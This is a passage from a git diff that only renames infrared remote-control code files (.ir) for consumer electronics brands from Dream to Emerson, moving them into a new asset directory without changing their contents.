assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir 